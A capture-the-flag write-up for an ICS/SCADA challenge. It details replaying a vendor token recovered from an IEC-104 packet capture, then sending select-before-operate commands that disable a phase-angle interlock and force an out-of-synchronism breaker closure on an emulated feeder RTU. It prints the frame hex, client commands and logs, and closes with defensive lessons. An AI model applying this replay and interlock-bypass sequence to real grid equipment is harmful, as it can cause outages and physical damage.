Crownspire Transfer
Replayed a vendor auth token recovered from a packet capture to bypass a phase-angle safety interlock and force an out-of-synchronism breaker closure.
Crownspire Transfer — Cyber Apocalypse 2026
| | |
|---|---|
| Challenge | Crownspire Transfer |
| Platform | HackTheBox — Cyber Apocalypse 2026 ("The Salt Crown") |
| Category | ICS / SCADA |
| Target | Frostline RLY-104 Feeder Guard (emulated feeder protection RTU) |
| Protocol | IEC 60870-5-104 (TCP/2404) |
| Techniques | PCAP protocol reverse-engineering, replay of a vendor auth artefact, safety-interlock bypass, select-before-operate command injection |
| Date | July 2026 |
---
TL;DR
A packet capture named backup.pcap contained a recorded maintenance session against an IEC-104 outstation. Buried in it was a single malformed ASDU carrying an eight-byte vendor authentication token, followed by the exact two-command sequence a legitimate engineer had used to perform a bus transfer. Replaying the token unlocked a time-limited control window; replaying the commands in the captured order disabled the phase-angle safety interlock and closed the transfer breaker out of synchronism, producing the phase-slip trip that carried the flag.
The entire attack chain was recoverable from the capture alone. No exploit, no memory corruption — just a protocol with no authentication and a vendor bolt-on that accepted a replayed credential.
---
Recon
Two endpoints were provided alongside the capture. Neither appeared in the pcap itself, so they were live targets rather than capture participants.
The capture is 48 packets, Linux cooked v2, all traffic on TCP/2404 — the registered port for IEC 60870-5-104, the telecontrol protocol used across European electricity transmission and distribution.
$ file backup.pcap
backup.pcap: pcap capture file - version 2.4 (Linux cooked v2)
No tshark in the analysis environment, so decoding was done with scapy plus a hand-rolled ASDU parser. That turned out to be the right call anyway — the interesting frame is one Wireshark would flag as malformed and decline to dissect fully.
IEC-104 wraps everything in an APCI header (0x68, length, four control octets) that carries the frame format and sequence numbers, followed by an ASDU containing the actual telecontrol payload. Three frame formats matter:
| Format | Control byte | Purpose |
|---|---|---|
| U | 0x07 / 0x0B | STARTDT act / con — enables data transfer |
| S | 0x01 | Supervisory acknowledgement |
| I | bit 0 = 0 | Information transfer, carries an ASDU |
Decoding the session revealed two TCP connections:
Connection 1 — STARTDT handshake, one anomalous frame, four measured values, immediate teardown.
Connection 2 — STARTDT, a station interrogation, a clock synchronisation, then two select-before-operate single commands, then close.
The telemetry was M_ME_NC_1 (type 13, IEEE-754 short float), sequential from IOA 2101:
IOA 2101: 11.24
IOA 2102: 3.72
IOA 2103: 13.50
IOA 2104: 67.00
The commands were C_SC_NA_1 (type 45), against IOA 1101 and IOA 1201, both with SCO 0x81 (select, state ON) followed by 0x01 (execute, ON). Both received activation confirmation and activation termination — both succeeded. Common ASDU address was 17 throughout.
---
The anomaly
One frame in the capture does not conform to the standard:
68 15 00 00 00 00 68 01 06 00 11 00 04 11 04 bb 32 24 56 bd a8 7c ee
└── APCI ────────┘ │ │ │ │ └─ IOA ─┘ └──── 8 bytes ───────┘
│ │ │ └─ CA 17
│ │ └─ COT 6 (activation)
│ └─ VSQ: 1 object
└─ TypeID 0x68 = 104, C_TS_NA_1 (test command)
A conforming test command carries IOA 000000 and a two-octet fixed test pattern. This one has a non-zero IOA and eight octets that exist nowhere in the specification.
Dead end worth recording: I spent time trying to decode those eight bytes as data — all 256 single-byte XOR keys, byte reversal, base32/base64, float and integer interpretations, Unix timestamps. Nothing printable, nothing structured. That was the wrong question. The bytes were never meant to decode; they were meant to be presented. It's an opaque credential, and the only thing that matters about it is whether the outstation accepts it.
The other thing worth noting: this frame is on connection 1, which the operator then tears down before doing any real work on connection 2. The authentication persists server-side across connections.
---
Correlating the capture to the live HMI
The target exposed a web HMI on the second port. Every unknown in the capture had a counterpart on screen:
| HMI element | IEC-104 object | Basis |
|---|---|---|
| Bus Voltage 11.20 kV | IOA 2101 | float match |
| Feeder Load 3.70 MW | IOA 2102 | float match |
| Sync Angle 12.7 deg | IOA 2103 | float match |
| TX Temp 82.0 C | IOA 2104 | float match |
| Last Auth: none | the malformed type-104 ASDU | only non-conforming frame present |
| INTERLOCK BYPASS: inactive | C_SC_NA_1 IOA 1101 | first command in capture |
| 52-T: open | C_SC_NA_1 IOA 1201 | second command in capture |
| CA 17 in title bar | ASDU common address 17 | matches every frame |
The IOA-to-control mapping was inference, not fact — a station interrogation returned only the four measurements, no single-point objects for the switchgear. The reasoning that made it credible was ordering combined with physics: an alarm on the HMI read 52-T transfer close inhibited by phase-angle interlock, and the sync angle during the recorded session was 13.5–13.8°, worse than the 12.7° showing live. If IOA 1201 were the breaker and the interlock were active, the captured command would have been rejected. It wasn't — because IOA 1101 dropped the interlock immediately before it.
That is the whole vulnerability in one sentence: the safety interlock is a remotely commandable point.
---
Exploitation
I wrote a small IEC-104 client rather than using an off-the-shelf tool, because the auth frame is malformed by design and most libraries either reject it or normalise it. Correct sequence-number handling, S-format acknowledgement windows and TESTFR keepalive responses were all required — the outstation drops clients that fall out of the sequence-number window mid-transaction.
Frame construction was validated offline against the capture before ever touching the target, which is worth doing when the target has a rate-limited control window:
$ python3 -c "..." # rebuild each captured frame and diff
PASS STARTDT act
PASS auth ASDU
PASS interrogation
PASS select ON 1101
PASS execute ON 1101
PASS select ON 1201
PASS S-format ack
all frames reproduce the capture exactly
Service identification
$ python3 iec104_client.py 154.57.164.65 31142 --probe
INFO STARTDT confirmed -- data transfer active
INFO port 31142 speaks IEC-104
$ python3 iec104_client.py 154.57.164.65 32051 --probe
ERROR no STARTDT con -- is this really an IEC-104 port?
31142 is the outstation; 32051 serves the HMI.
Authentication
$ python3 iec104_client.py 154.57.164.65 31142 --auth-only -v
DEBUG TX auth ASDU 681500000400680106001100041104bb322456bda87cee
HMI response: Last Auth: stale maintenance proof accepted, and Handoff changed from inactive to a 25.1-second countdown.
Two findings fell out of this step.
The outstation lies before authentication. The telemetry served pre-auth was byte-identical to packet 9 of the capture:
live 0d84010011003508000ad73341007b146e400000005841000000864200
pcap 0d84010011003508000ad73341007b146e400000005841000000864200
An unauthenticated observer sees the recorded maintenance session replayed — TX Temp 67.0 °C, sync angle 13.5°. Post-auth, real values: TX Temp 82.0 °C, and a sync angle drifting between 12.8° and 14.6°. The transformer had been running hot for a long time and the protocol was hiding it.
Control is time-boxed. The 25-second handoff window meant authentication and both commands had to complete in a single connection. Splitting reconnaissance from exploitation across sessions would have failed.
Forcing the transfer
$ python3 iec104_client.py 154.57.164.65 31142 --run --listen 12
INFO sending auth token bb322456bda87cee
INFO station interrogation (CA=17)
INFO <- M_ME_NC_1 | interrogated-by-station | 4 obj
INFO IOA 2103: 14.60 # phase angle, well outside limits
[...]
INFO --- step 1: bypass the phase-angle interlock ---
INFO IOA 1101: select ON (SCO=0x81)
INFO <- C_SC_NA_1 | act-con
INFO IOA 1101: execute ON (SCO=0x01)
INFO <- C_SC_NA_1 | act-con
INFO <- C_SC_NA_1 | act-term
[...]
INFO --- step 2: close the transfer breaker ---
INFO IOA 1201: select ON (SCO=0x81)
INFO <- C_SC_NA_1 | act-con
INFO IOA 1201: execute ON (SCO=0x01)
INFO <- C_SC_NA_1 | act-con
INFO <- C_SC_NA_1 | act-term
Every command accepted. Closing 52-T with a 14.6° phase difference across the tie is a genuine out-of-synchronism closure — the two sources fight, the machine slips a pole, and protection trips the feeder.
Post-exploitation HMI state:
52-M open (was closed)
52-T open (tripped after closing)
P-43 PUMP stopped (was running)
INTERLOCK BYPASS active
FEEDER TRIP tripped
Bus Voltage 0.00 kV
Feeder Load 0.00 MW
Last Command 52-T close caused phase-slip trip
RLY104-PHASE-SLIP CRIT 52-T phase-slip trip asserted - TOKEN HTB{INSERT_YOUR_CAPTURED_FLAG}
Feeder de-energised. Flag captured.
---
Lessons & defenses
IEC 60870-5-104 has no authentication, and vendor bolt-ons are not a substitute. The base standard authenticates nothing — anyone with TCP reachability to port 2404 who knows the common address can issue commands. Frostline's "maintenance proof" was a static bearer token replayed from a capture months old, with no nonce, no timestamp binding, and no replay cache. The correct answer is IEC 62351-3 (TLS for the transport) and 62351-5 (challenge-response application-layer authentication), where the responder issues a fresh challenge and the token is a keyed response that cannot be replayed. The HMI even labelled it stale maintenance proof accepted — the device knew the credential was old and honoured it regardless.
Safety interlocks must not be remotely commandable points. IOA 1101 exposed the phase-angle interlock bypass to anyone who reached the control layer, collapsing a two-condition safety property into one. A synchronism-check interlock exists to prevent exactly the closure that was performed here; it belongs in relay firmware with a local physical key or, at minimum, behind a separate authorisation path from routine control. Bypass should be an engineering-access operation that generates an alarm, not a single-point ON command that sits in the same address space as ordinary switching.
Select-before-operate is an integrity control, not a security control. SBO exists to prevent operator slips and mis-addressed commands — it makes accidental operation harder. It does nothing against an attacker, who simply sends both phases. Treating SBO as an access control is a common and costly misreading.
Do not leave protocol captures where they can be recovered. A single backup.pcap supplied the ASDU common address, the full point map, a valid credential, and a working command sequence in the correct order. Engineering captures are credential material and should be handled as such — encrypted at rest, retention-limited, and never left on reachable storage.
Segment the control network. None of this is reachable in a properly architected OT environment. Port 2404 should terminate inside a control-system zone behind a data diode or an authenticating gateway, never exposed to a routable network. Defence in depth failed here at the first layer, which is why every subsequent weakness became exploitable.
---
Tools used
| Tool | Purpose |
|---|---|
| scapy | PCAP parsing and packet iteration |
| Custom ASDU decoder | Type/COT/VSQ/IOA parsing and IEEE-754 extraction, including the malformed frame Wireshark declines to dissect |
| iec104_client.py | Purpose-built IEC-104 controlling station — sequence-number tracking, S-format acknowledgement, TESTFR keepalives, auth replay, select-before-operate |
| Frame-diff harness | Byte-for-byte validation of generated frames against the capture before touching the target |
Something wrong with this page?
Wrong details, a stolen writeup, or something that should not be published here — tell a moderator. This does not go to the author.